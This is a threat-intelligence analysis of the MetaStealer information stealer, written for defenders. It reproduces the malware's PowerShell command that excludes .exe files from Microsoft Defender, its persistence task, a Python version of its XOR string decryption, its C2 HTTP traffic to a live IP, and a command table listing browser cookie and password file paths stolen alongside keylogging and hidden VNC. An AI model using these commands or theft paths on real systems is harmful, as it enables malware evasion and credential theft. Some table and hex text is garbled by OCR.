
Metastealer – filling the Racoon void

research.nccgroup.com/2022/05/20/metastealer-filling-the-racoon-void/

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
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tl;dr

MetaStealer is a new information stealer variant designed to fill the void following Racoon stealer suspending operations in March of this year. Analysts at Israeli dark web intelligence firm Kela first identified its emergence on underground marketplaces [1] and later as being used in a spam campaign by SANS Internet Storm Centre Handler Brad Duncan [2], where the initial stages and traffic were detailed. This analysis further describes the final MetaStealer payload detailing its functionality.

Significant findings include:

- Heavy reliance on open-source libraries
- Microsoft Defender Bypass
- Scheduled Task Persistence
- Password Stealer
- Keylogger
- Hidden VNC server





Technical Analysis

Defender Bypass

Early on in execution, the below command is executed using PowerShell:

powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionExtension "exe"

As can be seen below in Figure 2 the command adds an exclusion rule to Microsoft Defender, effectively turning off scanning of files with '.exe' extension. This decreases the chances of the main payload being detected as well as any subsequent payloads that may be delivered to the target host post infection.

Exclusions	
Add or remove items that you want to exclude from Microsoft Defender anti-Virus scans.	
+ Add an exclusion	Figure 2
exe File type	

Defender Exclusion

With the Microsoft Defender exclusion in place another PowerShell command is issued that proceeds to rename the original file to a hardcoded value with an .exe extension. In this case {Original filename}.xyz to hyper-v.exe

powershell rename-item -path .xyz -newname hyper-v.exe

Persistence

To maintain persistence, a scheduled task is created using The Component Object Model (COM), a task named sys is created in the folder <u>Microsoft\Windows'</u> The task is set to trigger at user login, ensuring the malware remains persistent across reboots.

Name: sys Location: \Microsoft\Windows Author: DESKTOP-9OEGBK9\home Description:	
Author: DESKTOP-9OEGBK9\home	
Description:	
Security options	
When running the task, use the following user account:	
home Change U	ser or Group
Run only when user is logged on	
Run whether user is logged on or not	
Do not store password. The task will only have access to local computer resources.	
Run with highest privileges	
✓ Hidden Configure for: Windows Vista™, Windows Server™ 2008	~

Figure 3 String de-obfuscation example

String Obfuscation

While several strings from included libraries are visible within the sample, the majority of strings within MetaStealer's main code are encrypted and only decrypted as needed during runtime. To achieve this, the encrypted strings are moved onto the stack and decrypted with a bitwise XOR operation for use during execution. A Python representation of the routing can be seen below with an example seen below in Figure 4

```
def swap32(x):
    return int.from_bytes(x.to_bytes(8, byteorder='little'), byteorder='big',
signed=False)
def split_hex(input):
    text = hex(input)
    text = text[2:]
    text = text.zfill(len(text) + len(text) % 2)
    output = " ".join(text[i: i+2] for i in range(0, len(text), 2))
    return(output.split(' '))
hexIntXOR = []
hexIntKey = []
hexIntXOR.append(0x4BFB9390)
hexIntXOR.append(0x25C2F251)
hexIntXOR.append(0x11C52ED4)
hexIntXOR.append(0x5CEDBB0D)
hexIntKey.append(0x2489FBF3)
hexIntKey.append(0x25C2973C)
hexIntKey.append(0x11C52ED4)
hexIntKey.append(0x5CEDBB0D)
hexbytesxor = []
hexbyteskey = []
for HexInt in hexIntXOR:
    hexBytes = split_hex(HexInt)
    hexBytes.reverse()
    hexbytesxor = hexbytesxor + hexBytes
for HexInt in hexIntKey:
    hexBytes = split_hex(HexInt)
    hexBytes.reverse()
    hexbyteskey = hexbyteskey + hexBytes
count = 0
for hexByte in hexbytesxor:
    print(chr(int(hexByte, base=16) ^ int(hexbyteskey[count], base=16)), end='')
    count+=1
```

	load the fall and a conservation
mov	dword ptr [ebp-150h], 40E08E86h
mov	dword ptr [ebp-14Ch], 25C2973Ch
mov	dword ptr [ebp-148h], 11C52ED4h
mov	dword ptr [ebp-144h], SCEDBB0Dh
mov	dword ptr [ebp-680h], 2489F8F3h
mov	dword ptr [ebp-67Ch], 25C2973Ch
movaps	xmm1, xmmword ptr [ebp-150h]
lea	eax, [ebp-150h]
mov	dword ptr [ebp-678h], 11C52ED4h
lea	ecx, [ebp-590h]
mov	dword ptr [ebp-674h], SCEDBB0Dh
pxor	xmm1, xmmword ptr [ebp-680h]
push	eax ; Snc
movaps	xmmword ptr [ebp-150h], xmm1

Figure 4 String de-obfuscation example

Command and Control

PCAPs from the SANS Internet Storm Centre report show that while initial C2 registration traffic was successful, later requests resulted in an HTTP 400 error code reply. Our own tests confirm this behaviour indicating this specific campaign was short-lived with commands no longer issued to new infections. This is likely a direct attempt to limit further analysis of the command and control communication protocol by analysts.

The sample contains a hardcoded Command and Control server, in this case, 193.106.191[.]162:1775, which is decrypted by the standard string decryption routine described in the previous section.

Connection to the command and control infrastructure is performed over HTTP using the library 'cpp-httplib' [3], resulting in the user agent cpp-httplib/0.10.1 being used.

The initial connection is performed to the URL path /api/client/new, decrypted using the XOR routine detailed earlier. This connection is simply a get request with no further information included and expects a reply in JSON format, as can be seen in Figure 5

```
GET /api/client/new HTTP/1.1
Accept: */*
Connection: close
Host: 193.106.191.162:1775
User-Agent: cpp-httplib/0.10.1
HTTP/1.1 200 OK
Content-Length: 46
Content-Length: 46
Content-Type: text/plain; charset=utf-8
Date: Thu, 21 Apr 2022 12:33:26 GMT
Server: nginx/1.10.3 (Ubuntu)
Vary: Origin
X-Request-Id: 024d0489-67c6-4898-81a9-5c5788bd08ee
Connection: close
{"ok":"9211425a-0cce-4740-ae21-24a702ed4f66"}
```

Figure 5 Registration connection

The UUID in the *ok* key is used as a **BotId** and changes on each new registration request.

To parse the JSON string, another open-source library is utilised (Nlohmann JSON [4]), extracting the BotId, which is subsequently written to the file %localappdata%\hyper-v.ver in plaintext allowing the BotId to remain persistent across reboots.

The second request to the command and control server begins with a new JSON object being created utilising the Nlohmann JSON library. The UUID key is populated with the UUID received from the earlier registration request.

71	3 22	75	75	69	64	22	ЗA	22	39	32	31	31	34	32	35	{"uuid":"9211425
																a-0cce-4740-ae21
	32															-24a702ed4f66"}.

Figure 6 get worker request body

The URL path /tasks/get_worker is decrypted and used to make a POST request to the command and control server, including the UUID JSON string. At the time of writing, the server replies to this command with a HTTP 400 error code as seen in Figure 7.

```
POST /tasks/get worker HTTP/1.1
Accept: */*
Connection: close
Content-Length: 47
Content-Type: application/json
Host: 193.106.191.162:1775
User-Agent: cpp-httplib/0.10.1
{"uuid":"e9a3a9ca-d270-4f8f-9af4-45db969ea187"}HTTP/1.1 400 Bad Request
Content-Length: 17
Content-Type: text/plain; charset=utf-8
Date: Thu, 21 Apr 2022 14:09:01 GMT
Server: nginx/1.10.3 (Ubuntu)
Vary: Origin
X-Request-Id: d86efe8b-38dd-427a-9b9a-097132665b3c
Connection: close
{"status":false}
```

Figure 7 get worker request

The final identified command and control request uses the URL path '/tasks/collect' following the completion of any tasks issued. A POST request is made detailing the success or failure of the task along with additional data such as stolen information or command output.

Command ID	Function	Description				
1001	System Information	Spawn cmd.exe process with the command line system info and read output using attached pipes.				
1002 Cookie Stealer		Access Cookie data from the following locations (location can change based on a currently installed version check): Chrome 'C:\Users\{user}\AppData\Local\Google\Chrome\User Data\Default{\Network (depending on version check) }\Cookies' Firefox C:\Users\ {user}\AppData\Roaming\Mozilla\Firefox\Profiles\cookies.sqlite Edge C:\Users\{user}\AppData\Local\Microsoft\Edge\User Data\Default{\Network (depending on version check) }\Cookies				
1003	Password Stealer	Access saved password data from the following locations: Chrome C:\Users\{user}\AppData\Local\Google\Chrome\User Data\Default\Login Data Firefox C:\Users\ {user}\AppData\Roaming\Mozilla\Firefox\Profiles\ logins.json / signons.sqlite C:\Users\ {user}\AppData\Local\Microsoft\Edge\User Data\Default\LoginData				

Command and Control Commands

1004Start keyloggerStart keylogger on the following applications: ChromeFirefoxNotepad1005Stop keyloggerStop Keylogger1006Start HVNCSetup Hidden Virtual Network Connection by creating a hidder desktop and network connectivity using sockets through the open-source library Kissnet [5]1007Stop HVNC1008Execute CommandExecute best and read the result using connected pipes.			
keylogger1006Start HVNCSetup Hidden Virtual Network Connection by creating a hidde desktop and network connectivity using sockets through the open-source library Kissnet [5]1007Stop HVNCStop HNVC1008ExecuteExecute the given command using a spawned cmd.exe	1004		,
HVNC desktop and network connectivity using sockets through the open-source library Kissnet [5] 1007 Stop HNVC 1008 Execute Execute Execute the given command using a spawned cmd.exe	1005	•	Stop Keylogger
HVNC 1008 Execute Execute Execute the given command using a spawned cmd.exe	1006		
	1007		Stop HNVC
	1008		0 1

Table 1 Command and Control Commands

Appendix

IOC's

- 193.106.191[.]162:1775
- cpp-httplib/0.10.1
- hyper-v.exe

YARA

References

[1] <u>https://www.bleepingcomputer.com/news/security/new-blackguard-password-stealing-malware-sold-on-hacker-forums/</u>

- [2] <u>https://isc.sans.edu/forums/diary/Windows+MetaStealer+Malware/28522/</u>
- [3] <u>https://github.com/yhirose/cpp-httplib</u>
- [4] <u>https://github.com/nlohmann/json</u>
- [5] <u>https://github.com/Ybalrid/kissnet</u>